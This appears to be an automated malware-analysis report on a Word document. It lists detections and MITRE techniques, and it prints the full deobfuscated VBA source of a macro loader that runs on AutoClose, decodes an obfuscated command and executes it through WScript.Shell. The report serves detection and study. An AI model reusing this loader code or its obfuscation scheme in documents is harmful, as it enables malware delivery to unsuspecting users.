MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.005 Visual Basic
T1059.005 Visual Basic
T1059.005 Visual Basic
T1059.005 Visual Basic
The sample is an OOXML document containing a VBA macro with an AutoClose function. This macro is obfuscated and uses CreateObject and Shell calls to execute a second-stage payload. ClamAV detection also confirms this is a known malicious loader, specifically 'Doc.Malware.Emooodldr-6711604-0'. The VBA code reconstructs a string which is then passed to Application.Run, likely to download and execute further malicious content.
Heuristics 8
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
If hormonogenic - gripy > 1 Then CreateObject(Join(Array(viricidal, "Shell"), ".")).Run remainders, 0 sargassum = False -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Application.Run "polychromy", unpremeditately -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
If hormonogenic - gripy > 1 Then CreateObject(Join(Array(viricidal, "Shell"), ".")).Run remainders, 0 sargassum = False -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() rosabel = Array("T", "d", "P", "u", "3", "x", "z", "O", "z", "p", "P", "u", "u", "C", "A", "s", "s", "3", "D", "r", "B", "u", "N", "D", "N", "Z", "9", "B", "z", "z", "u", "N", "r", "z", "d", "P", "J", "u", "R", "B", "x", "8", "N", "T", "s", "m", "2", "2", "s", "9", "D", "z", "z", "n", "x", "C", "P", "C", "5", "J", "u", "T", "3", "w", "a", "B", "r", "z", "g", "N", "r", "3") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2119 bytes |
SHA-256: b548fba0286aa34d61a0e4559c2d892897c535acae9310611897b207c8730398 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function shovellers(rosabel)
gallia = Array("u", "8", "s", "w", "R", "z", "Z", "g", "d", "x", "m", "9", "B", "T", "r", "a", "J", "3", "2", "N", "C", "n", "p", "A", "D", "O", "5", "P")
heteroeciously = Array("t", "c", "/", "=", "k", "e", "l", "f", "s", ".", "F", "g", "i", "m", "n", "w", "u", "a", "B", "o", "p", "d", " ", ":", "r", "x", "?", "h")
sheathy = vbNullString
For Each alicia In rosabel
godets = voluntaryist(alicia, gallia, UBound(gallia))
If godets > -1 Then
sheathy = heteroeciously(godets) & sheathy
End If
Next
shovellers = StrReverse(sheathy)
End Function
Public Function voluntaryist(retinitises, anaphoria, peptones)
clip = 5553
intersocial = 772
For clip = 0 To peptones
If anaphoria(clip) = retinitises And clip > -1 Then
intersocial = clip
End If
Next
If intersocial = 772 Then
intersocial = -1
End If
voluntaryist = intersocial
End Function
Sub AutoClose()
rosabel = Array("T", "d", "P", "u", "3", "x", "z", "O", "z", "p", "P", "u", "u", "C", "A", "s", "s", "3", "D", "r", "B", "u", "N", "D", "N", "Z", "9", "B", "z", "z", "u", "N", "r", "z", "d", "P", "J", "u", "R", "B", "x", "8", "N", "T", "s", "m", "2", "2", "s", "9", "D", "z", "z", "n", "x", "C", "P", "C", "5", "J", "u", "T", "3", "w", "a", "B", "r", "z", "g", "N", "r", "3")
unpremeditately = shovellers(rosabel)
Application.Run "polychromy", unpremeditately
End Sub
Private Sub polychromy(remainders)
viricidal = "WScript"
gripy = 3271
sargassum = True
While sargassum
hormonogenic = gripy + 60
If hormonogenic - gripy > 1 Then
CreateObject(Join(Array(viricidal, "Shell"), ".")).Run remainders, 0
sargassum = False
End If
Wend
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11776 bytes |
SHA-256: 8a4bf05e1f10419d1104b40c89c0d8f0fb9bd6f43e60374a35f2d5f4f9eb3ce5 |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.